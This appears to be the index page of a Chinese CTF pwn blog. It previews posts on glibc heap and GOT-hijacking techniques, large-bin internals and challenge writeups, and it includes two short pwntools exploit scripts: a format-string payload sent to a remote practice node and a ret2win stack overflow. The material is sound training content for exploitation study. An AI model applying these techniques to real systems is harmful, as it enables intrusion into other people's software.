我们联合,形成两面包夹芝士!

0x00 前言

在glibc2.34或更高版本,没有了hook用来劫持,所以一般会用IO之类的路子来劫持。如果条件允许,还可以考虑劫持劫持libc的got表来getshell。libc一般是partial relro,所以got表可写。但准确来说,接下来的PoC,其实针对的是劫持.got.plt段执行one gadget而设计的。劫持libcgot的技术还可以结合context的gadget实现rop,后面再深入研究。

0x01 PoC

阅读此文

0x00 前言

最近给战队出了一道pwn题,第一次体验完整的出题流程,涉及到docker的使用。因为是第一次使用docker来封装题目环境,所以遇到了很多问题。网上有一些关于出pwn题的使用方法,但是有些问题没有提到,所以这里记录一下我遇到的问题,还有解决方法。docker的安装网上教程很多这里不多赘述。

顺带一提,我的操作环境是wsl2的Ubuntu 22.04.3 LTS,若有因环境不同而引起的操作不同,具体请查询其他资料。

阅读此文

前置知识

首先每个Large Bin中存在63个bin链表,在binmap中的index是64-126。每个bin中存的是一定范围内大小的chunk,而不是像tcachebin那样的一个bin一个大小。举个栗子,index64的bin中存的是0x400到0x430的chunk。每个bin能存取的范围一般是0x30。

Large Bin既不是FIFO也不是LIFO,它的排序是根据chunk大小来进行的,并且结构更加复杂。large chunk被释放的时候不仅会被写入fd和bk,还有fd_nextsize和bk_nextsize两个指针来维护bin的结构。fd和bk用来链接bin中相同大小的chunk,而nextsize则用来链接bin中不同大小的chunk。更具体地说,fd指向比自己晚释放的相同大小的chunk,bk则指向比自己晚释放的相同大小的chunk,fd_nextsize用来指向比自己大的chunk,bk_nextsize则指向比自己小的chunk。在相同大小的chunkbin中只有首堆块会有nextsize的指针。bin中首尾chunk的nextsize会指向另一端,首堆块的fd会指向对应index的bin头地址,尾堆块的bk会指向对应index的bin头地址。

阅读此文
post @ 2024-06-04

0x00 前言

虽然说是新生赛,但是五道堆题估计真新生都被吓傻了。实际上题目限制非常宽松,也正好可以拿来总结各个常见版本glibc的基本特点。因为题目除了2.39之外都一样所以就先分析题目,再来看不同版本下的做法。

0x01 题目分析

阅读此文
post @ 2024-05-29

[第五空间2019 决赛]PWN5

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='i386', os='linux', log_level='debug')
# r = process('./pwn')
r = remote('node5.buuoj.cn', 29513)

payload = fmtstr_payload(10, {0x804C044: 0})
r.sendlineafter(b'your name:', payload)

r.sendline(b'0')
r.interactive()

jarvisoj_level2

阅读此文

概述

线程退出的时候,需要释放掉这个线程所占有的资源,并且停止内核和CPU对其的调度,才算是结束了这个线程。换句话说,线程退出需要用户层面和内核层面的共同工作。内核层面,glibc通过_exit()系统调用来终止线程,用户层面则通过exit()函数。在pwn中,系统调用很难被利用,我们通常重点关注exit函数。

源码分析

阅读此文

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+1Ch] [rbp-24h] BYREF
char buf[20]; // [rsp+20h] [rbp-20h] BYREF
unsigned int v6; // [rsp+34h] [rbp-Ch]
unsigned int v7; // [rsp+38h] [rbp-8h]
unsigned int seed; // [rsp+3Ch] [rbp-4h]

myinit(argc, argv, envp);
puts("please enter this challenge");
__isoc99_scanf("%d", &v4);
seed = time(0LL);
srand(seed);
v7 = rand();
v6 = v7 % 0x6E;
if ( v7 % 0x6E == v4 )
{
puts("Give you a gift");
gift();
puts("Do you know any address to write");
puts("Come and try it out");
read(0, buf, 0x2EuLL);
}
return 0;
}

main函数开头要我们绕过一个随机数检查才有输入点。gift函数会打印puts函数的libc地址,libc地址不请自来。接着read函数溢出14个字节,只能覆盖六个字节到ret地址,所以想要在这里写one gadget是不可能的了,因为libc地址占七个字节。

阅读此文
post @ 2024-04-28

0x00 前言

这新生赛难度新生打不了一点,这是让我这种菜鸡获得新生的比赛(但是AK了

0x01 hello_world(签到)

阅读此文
post @ 2024-04-07

0x01 ret2win32

x86架构的ret2text,非常简单,程序有栈溢出,没有canary保护,所以只要溢出覆盖ebp后,将ret地址覆盖为ret2win函数的地址即可。

1
2
3
4
5
6
7
8
from pwn import *
r = process('./ret2win32')

ret2win = 0x804862C

payload = b'a'*0x2c+p32(ret2win)
r.sendline(payload)
r.interactive()
阅读此文
post @ 2024-03-28

2016HCTF fheap

分析

这个程序是一个字符串管理器,程序只有两个功能,一个是create,一个是delete,有两个类似于结构体的变量,我们可以稍微优化一下伪代码。

阅读此文
⬆︎TOP